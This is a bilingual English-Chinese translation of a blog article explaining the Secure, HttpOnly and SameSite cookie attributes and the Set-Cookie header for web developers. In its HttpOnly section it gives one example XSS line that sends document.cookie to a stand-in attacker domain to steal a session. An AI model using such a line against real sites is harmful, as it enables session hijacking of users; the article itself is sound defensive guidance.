安全httponly samesite http cookie属性并设置cookie说明

Cookies are the most common method to add temporary persistency to websites. They are used in most websites and we know their consent banners. HTTP Cookies can contain crucial and confidential data, their usage started around 1994 and some important legacy issue were left unaddressed and new state-of-art security improvements are being tackled nowadays.

Cookies是向网站添加临时持久性的最常用方法。 大多数网站都使用它们，我们知道它们的同意标语。 HTTP Cookies可以包含重要的机密数据，它们的使用始于1994年左右，一些重要的遗留问题未得到解决，如今正在解决最新的安全性改进问题。

Secure, HttpOnly and SameSite cookies attributes are being addressed by some modern browsers for quite some time and soon they will be enforced.

一些现代浏览器已经解决了Secure ， HttpOnly和SameSite cookie属性的问题，并且将很快实施它们。

Per example, starting from August 25, 2020, Google Chrome v85 enabled a feature, by default, to reject insecure SameSite=None. New features like this might break your website if you aren’t up-to-date with the latest best practices. Like that example, using the following attributes already are considered best practices and modern browsers will(and should) enforce them soon.

例如，从2020年8月25日开始，默认情况下，Google Chrome v85启用了一项功能以拒绝不安全的SameSite=None 。 如果您不了解最新的最佳做法，则类似的新功能可能会破坏您的网站。 像该示例一样，使用以下属性已被视为最佳实践，现代浏览器将(并且应该)尽快实施它们。

In this article I’m going to explain each one, the reasons why developers should care about them and why a correct implementation of them means extra security for your website.

在本文中，我将解释每一个问题，为什么开发人员应该关心它们，以及为什么正确实施它们会为您的网站带来额外的安全性。

HttpOnly属性 (HttpOnly attribute)

HttpOnly attribute focus is to prevent access to cookie values via JavaScript, mitigation against Cross-site scripting (XSS) attacks.

HttpOnly属性的重点是防止通过JavaScript访问cookie值，从而缓解跨站点脚本( XSS )攻击。

Avoiding XSS may be mitigated just by sanitising user inputs and removing <script> tags, one small mistake can have huge consequences. Third party script might break user security as well. Every year we hear about these attacks being successful.

仅通过清理用户输入并删除<script>标记就可以避免避免XSS ，一个小错误可能会带来巨大的后果。 第三方脚本也可能破坏用户安全。 每年我们都听说这些攻击取得了成功。

Imagine your webpage is storing a session cookie and there is some input field vulnerable to XSS. Then it’s quite straight-forward for an attack to inject script making a HTTP request to a url similar to the following:

想象一下，您的网页正在存储一个会话cookie，并且某些输入字段容易受到XSS的攻击。 然后，很容易将攻击注入到对url发出HTTP请求的脚本，类似于以下内容：

`attackerDomain.com/cookie=${document.cookie}`

This works because document.cookie is accessible for any JavaScript code and prints all the cookie being used in the current domain. If you, indeed, have a session stored, the attacker will gain access to the user’s current session.

之所以可行，是因为document.cookie可通过任何JavaScript代码访问，并打印当前域中正在使用的所有cookie。 如果确实存储了一个会话，则攻击者将获得对用户当前会话的访问权限。

To prevent these hacks, we should be using HttpOnly flags in cookies.

为了防止这些攻击，我们应该在cookie中使用HttpOnly标志。

HTTPOnly attribute Forbids JavaScript from accessing the cookie. Note that a cookie that has been created with HttpOnly will still be sent with JavaScript fetch().

HTTPOnly属性禁止JavaScript访问cookie 。 请注意，使用HttpOnly创建的cookie仍将使用JavaScript fetch()发送。

SameSite属性 (SameSite attribute)

Asserts that a cookie must not be sent with cross-origin requests, providing some protection against cross-site request forgery attacks (CSRF). CSRF is mostly related to third party cookies, By “third parties” we mean other websites that we don’t visit directly. The SameSite attribute allows developers to specify cookie security for each particular case.

断言cookie不能与跨域请求一起发送，从而提供了针对跨站点请求伪造攻击( CSRF )的保护。 CSRF主要与第三方Cookie有关。“第三方”是指我们不直接访问的其他网站。 SameSite属性允许开发人员为每种特定情况指定cookie安全性。

SameSite can take 3 possible values: Strict, Lax or None.

SameSite可以采用3个可能的值：“严格”，“松散”或“无”。

• Lax —Default value in modern browsers. Cookies are allowed to be sent with top-level navigations and will be sent along with GET requests initiated by a third party website. The cookie is withheld on cross-site subrequests, such as calls to load images or frames, but is sent when a user navigates to the URL from an external site, such as by following a link.

  Lax在现代浏览器-默认值。 Cookie允许通过顶级导航发送，并将与第三方网站发起的GET请求一起发送。 Cookie在跨站点子请求(例如调用加载图像或框架)时保留，但在用户从外部站点导航到URL(例如通过链接)时发送。

• Strict — As the name suggests, this is the option in which the Same-Site rule is applied strictly. Cookies will only be sent in a first-party context and not be sent along with requests initiated by third party websites. The browser sends the cookie only for same-site requests (that is, requests originating from the same site that set the cookie). If the request originated from a different URL than the current one, no cookies with the SameSite=Strict attribute are sent.

  Strict -顾名思义，这是严格应用Same-Site规则的选项。 Cookies仅在第一方的上下文中发送，不会与第三方网站发起的请求一起发送。 浏览器仅针对相同站点的请求(即来自设置cookie的同一站点的请求)发送cookie。 如果请求源自与当前URL不同的URL，则不会发送具有SameSite=Strict属性的cookie。

• None — Cookies will be sent in all contexts, i.e sending cross-origin is allowed. The browser sends the cookie with both cross-site and same-site requests.

  None -Cookies将在所有情况下发送，即允许发送跨域。 浏览器发送带有跨站点和同站点请求的cookie。

None None used to be the default value, but recent browser versions made Lax the default value to have reasonably robust defense against some classes of cross-site request forgery (CSRF) attacks.

None无以前曾经是默认值，但是最近的浏览器版本使Lax成为默认值，以对某些类的跨站点请求伪造( CSRF )攻击具有相当强大的防御能力。

Note: Using SameSite=None requires Secure attribute in some latest browser versions.

注意：在某些最新版本的浏览器中，使用SameSite=None要求使用Secure属性。

安全属性 (Secure attribute)

Secure attribute is more straight-forward to understand. A Secure cookie is only sent to the server with an encrypted request over the HTTPS protocol. Note that insecure sites (http:) can't set cookies with the Secure directive.

安全属性更容易理解。 甲Secure cookie被仅发送给服务器与通过HTTPS协议加密的请求。 请注意，不安全的网站( http:无法使用Secure指令设置cookie。

This helps mitigate the man-in-the-middle (MitM) attack. Websites (with http: in the URL) can't set cookies with the Secure attribute.

这有助于减轻中间人( MitM )攻击。 网站(URL中带有http:无法设置具有Secure属性的cookie。

Set-Cookie (Set-Cookie)

The Set-Cookie HTTP response header is used to send a cookie from the server to the user agent, so the user agent can send it back to the server later. To send multiple cookies, multiple Set-Cookie headers should be sent in the same response.

所述Set-Cookie的HTTP响应报头用于从服务器向用户代理发送一个cookie，所以用户代理可以稍后发送回服务器。 要发送多个Cookie，应在同一响应中发送多个Set-Cookie标头。

Let’s say you want to set a cookie for the user agent named cookieName with the value of cookieValue, to be only used over https connections, not accessible in JavaScript and will be sent in all contexts. That header should be like the following:

假设您要为名为cookieName的用户代理设置一个cookie，其值为cookieValue，只能在https连接上使用，不能在JavaScript中访问，并且将在所有上下文中发送。 该标头应如下所示：

Set-Cookie: cookieName=cookieValue; HttpOnly; Secure; SameSite=None

Removing a cookie using Set-Cookie

使用Set-Cookie删除Cookie

You can’t remove cookies marked with HTTPOnly attribute from JavaScript. Best Practice is to use Set-Cookie Header and set an expiration date to some time in the past. See the example below where I’m deleting a cookie named cookieName,

您无法从JavaScript中删除标有HTTPOnly属性的cookie。 最佳做法是使用Set-Cookie Header，并将过期日期设置为过去的某个时间。 请参阅下面的示例，其中我要删除一个名为cookieName的cookie，

Set-Cookie: cookieName=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT

翻译自: https://medium.com/swlh/secure-httponly-samesite-http-cookies-attributes-and-set-cookie-explained-fc3c753dfeb6